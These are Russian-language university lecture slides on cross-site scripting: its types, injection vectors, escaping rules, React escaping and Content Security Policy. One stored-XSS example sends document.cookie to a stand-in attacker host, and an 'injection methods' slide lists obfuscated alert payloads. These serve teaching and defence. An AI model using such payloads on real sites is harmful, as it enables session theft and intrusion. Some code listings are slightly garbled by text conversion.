



Безопасность веб-приложений

Лекция 10

Михаил Привер



Важно!



- Отметиться на портале
- Оставить обратную связь

XSS



Cross-Site Scripting

Виды XSS



- Хранимый XSS
- Отраженный XSS
- DOM-based XSS

Хранимый XSS



- Вредоносный код хранится на сервере

```
1. <script>
2. document.location=
3. "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + document.cookie
4. </script>
```

Отраженный XSS



Пользователь переходит по специальной ссылке

1. `http://example.com/search.php?q=<script>DoSomething();</script>`

DOM-based XSS



- Работает в браузере без отправки на сервер

```
1. if (location.hash != "") {  
2.     $(location.hash).addClass("selectedentry");  
3. }
```

Способы внедрения



```
1. <script></script>
2.
3. <body onload=alert('test1')>
4.
5. <b onmouseover=alert('Wufff!')>click me!</b>
6.
7. 
11.
12. <IMG SRC=j&#X41vascript:alert('test2')>
13.
14. <META
15.     HTTP-EQUIV="refresh"
16.     CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwwc2NyaXB0Pg"
17. >
```


Предотвращение XSS



Правило #0 — Не вставляйте ненадежные куда либо, кроме разрешенных мест

1. `<script>...NEVER PUT UNTRUSTED DATA HERE...</script>`
- 2.
3. `<!--...NEVER PUT UNTRUSTED DATA HERE...-->`
- 4.
5. `<div ...NEVER PUT UNTRUSTED DATA HERE...=test />`
- 6.
7. `<NEVER PUT UNTRUSTED DATA HERE... href="/test" />`
- 8.
9. `<style>...NEVER PUT UNTRUSTED DATA HERE...</style>`

Предотвращение XSS



Правило #1 — Используйте HTML-экранирование перед тем как добавить ненадежные данные внутрь HTML-элементов

1. `<div>`
2. `...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...`
3. `</div>`

`& --> &`
`< --> <`
`> --> >`
`" --> "`
`' --> ' (не ')`
`/ --> /`

Предотвращение XSS



- Правило #2 - Используйте экранирование перед тем как добавить ненадежные данные внутрь обычных атрибутов

1. `<div attr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...>content`
2. `<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE... '>content`
3. `<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content`

все символы с кодом меньше 256 кроме алфавитно-цифровых: `&#xHH;`

Предотвращение XSS



- Правило #3 — Используйте экранирование перед тем как добавить ненадежные данные внутрь значений данных JavaScript

1. `<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>`
2. `<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE... '</script>`
3. `<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE... '"></div>`

все символы с кодом меньше 256 кроме алфавитно-цифровых: `\uXXXX`

```
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSSED HERE...');
</script>
```



- Правило #3.1 — Экранируйте данные в формате JSON и используйте JSON.parse

<https://github.com/yahoo/serialize-javascript>

```
1. Content-Type: text/html; charset=utf-8 <-- bad
2. Content-Type: application/json; charset=utf-8 <--good
3.
4. <script>
5. // Так делать не безопасно!
6. var initData = <%= data.to_json %>;
7. </script>
8.
9. <div id="init_data" style="display: none">
10.   <%= html_escape(data.to_json) %>
11. </div>
12.
13. // external js file
14. var dataElement = document.getElementById('init_data');
15. // decode and parse the content of the div
16. var initData = JSON.parse(dataElement.textContent);
```



- Правило #4 — Экранируйте и проверяйте ненадежные данные перед тем как вставить их в значения стилей

```
1. <style>
2. selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }
3. </style>
4.
5. <style>
6. selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
7. </style>
8.
9. <span style="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>
10.
11. { background-url : "javascript:alert(1)"; } // and all other URLs
12. { text-size: "expression(alert('XSS'))"; } // only in IE
```

все символы с кодом меньше 256 кроме алфавитно-цифровых: \NN

Предотвращение XSS



- Правило #6 — Используйте HTML-sanitizer когда это необходимо

<https://github.com/mganss/HtmlSanitizer>

```
1. var sanitizer = new HtmlSanitizer();  
2. sanitizer.AllowedAttributes.Add("class");  
3. var sanitized = sanitizer.Sanitize(html);
```

Предотвращение XSS



- Правило #7 — Не используйте URL с протоколом javascript:

Предотвращение XSS



- Используйте флаг HTTPOnly для cookie
- Используйте Content Security Policy
- Используйте фреймворки с автоэкранированием

Предотвращение DOM-based XSS



- Правило #1 — Используйте HTML-экранирование перед тем как добавить ненадежные данные внутрь HTML-контекста

```
1. element.innerHTML =  
  '<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>';  
2. element.outerHTML =  
  '<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>';  
3.  
4. document.write(  
5.     '<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>'  
6. );  
7. document.writeln(  
8.     '<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>'  
9. );
```

Предотвращение DOM-based XSS



- Правило #2 — Используйте HTML-экранирование перед тем как добавить ненадежные данные внутрь контекста HTML-атрибутов

```
1. var x = document.createElement('input');
2. x.setAttribute('name', 'company_name');
3. // Лишнее экранирование!
4. x.setAttribute(
5.     'value',
6.     '<%=Encoder.encodeForJS(Encoder.encodeForHTMLAttr(companyName))%>'
7. );
8.
9. var x = document.createElement("input");
10. x.setAttribute("name", "company_name");
11. x.setAttribute("value", '<%=Encoder.encodeForJS(companyName)%>');
```

Предотвращение DOM-based XSS



- Правило #3 — Будьте осторожны, когда вставляете ненадежные данные в обработчики событий и JavaScript-контекст

```
1. var x = document.createElement('a');
2. x.href='#';
3. x.setAttribute(
4.   'onclick',
5.   '\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029'
6. );
7.
8. // "alert(7)" – строка
9. document.getElementById("bb").onclick = "\u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0029";
10. document.getElementById("bb").onmouseover = "testIt";
11.
12. // "alert(77)", скобки экранированы
13. document.getElementById("bb").onmouseover = \u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0037\u0029;
14.
15. // "testIt;testIt", точка с запятой экранирована
16. document.getElementById("bb").onmouseover =
17. \u0074\u0065\u0073\u0074\u0074\u0028\u0074\u0065\u0073\u0074\u0028\u0074\u0029;
18.
19. // "testIt" – СРАБОТАЕТ!
20. document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0028\u0074\u0029;
21.
22. function testIt() {
23.   alert("I was called.");
24. }
```

Предотвращение DOM-based XSS



- Правило #4 — Экранируйте и проверяйте ненадежные данные перед тем как вставить их в значения атрибутов CSS

1. `document.body.style.backgroundImage =`
2. `'url(<%=Encoder.encodeForJS(Encoder.encodeForURL(companyName))%>)' ;`

Предотвращение DOM-based XSS



- Правило #5 — Экранируйте и проверяйте ненадежные данные перед тем как вставить их в URL

```
1. var x = document.createElement('a');
2. x.setAttribute(
3.     'href',
4.     '<%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%>'
5. );
```

Предотвращение DOM-based XSS



- Правило #6 — Используйте безопасные функции и свойства

1. `<script>`
2. `element.textContent = untrustedData; //does not execute code`
3. `</script>`

Предотвращение DOM-based XSS



- Правило #6 — Используйте безопасные функции и свойства

```
1. <script>
2. element.textContent = untrustedData;  // does not execute code
3. </script>
4.
5. <b>Current URL:</b> <span id="contentholder"></span>
6. ...
7. <script>
8. document.getElementById("contentholder").textContent = document.baseURI;
9. </script>
```


Экранирование в React



1. `<div>{'First · Second'}</div>`

- НЕ используйте:

1. `<div>First · Second</div>`

2. `<div dangerouslySetInnerHTML={{__html: 'First · Second'}} />`

Content Security Policy



```
1. Content-Security-Policy: <policy-directive>; <policy-directive>
2.
3. Content-Security-Policy: default-src 'self'
4.
5. Content-Security-Policy: default-src 'self' *.trusted.com
6.
7. Content-Security-Policy:
8.     default-src 'self';
9.     img-src *;
10.    media-src media1.com media2.com;
11.    script-src userscripts.example.com
12.
13. Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
14.
15. Content-Security-Policy:
16.     default-src https: 'unsafe-eval' 'unsafe-inline';
17.     object-src 'none'
```

Домашнее задание № 10



- Сверстать форму логина и интегрировать ее с бэкендом
- Бонус: сверстать недостающие экраны

Срок сдачи

- ~ 23 декабря





Спасибо за внимание!